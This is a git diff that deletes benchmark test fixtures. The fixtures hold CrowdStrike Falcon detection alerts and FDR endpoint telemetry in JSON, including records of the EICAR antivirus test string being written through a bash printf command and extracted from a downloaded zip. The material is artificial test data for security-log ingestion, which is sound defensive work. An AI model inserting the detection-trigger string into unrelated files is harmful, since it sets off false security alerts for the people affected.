File","Type":"ldt","UserName":"win10_user3"}
-{"AgentId":"1d58fa2265b540b79cd057e8fa798e4d","AggregateId":"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364","CommandLine":"/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n#    Run a bash script with specified command line and timeout\n# DESCRIPTION\n#   CrowdStrike Real Time Response command\n# PARAMETER WD\n#    Current working directory\n# PARAMETER Param1\n#    Script body - Required\n# PARAMETER Param2\n#    Command line sent to script\n# PARAMETER Param3\n#    Local path - path to local file to be used as script body\n# PARAMETER Param4\n#    Timeout in seconds\n# NOTES\n#    File Name  : runscript.sh\n#    Contact    : support@crowdstrike.com\n#    Copyright  : CrowdStrike 2020\n# LINK\n#    https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n    echo \"$command: $1\" >&2\n    exit 1\n}\n\nfunction err_handler()\n{\n    # Rewrite the error message to remove the internal command prefix\n    echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n    eval set -- \"$1\"\n    echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n    script=\"$1\"\n    shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n    script_args=\"$1\"\n    shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n    script_path=\"$(get_arg \"$1\")\"\n    if [ -n \"$script_path\" ]; then\n        script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n    fi\n    shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n    if [ -n \"$1\" ]; then\n        timeout=\"$1\"\n    fi\n    shift\nfi\n\nif [ -z \"$script\" ]; then\n    die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n    die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n    sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n    current_time=$(get_time)\n    if ((current_time - start_time >= timeout*resolution)); then\n        kill -9 $pid >/dev/null 2>&1\n        echo \"$command: Timed out waiting for script to exit\" >&2\n        kill -9 -$$ >/dev/null 2>&1\n    fi\n    if ((current_time - last_print_time >= print_interval*resolution)); then\n        printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n        last_print_time=$current_time\n    fi\n    /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com         ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root"}
-{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log
deleted file mode 100644
index c3de03a23b..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log
+++ /dev/null
@@ -1,138 +0,0 @@
-{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n        feature_name: FEATURE_NAME,\n        variants: [FEATURE_VARIANT],\n      )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"}
-{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"}
-{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"}
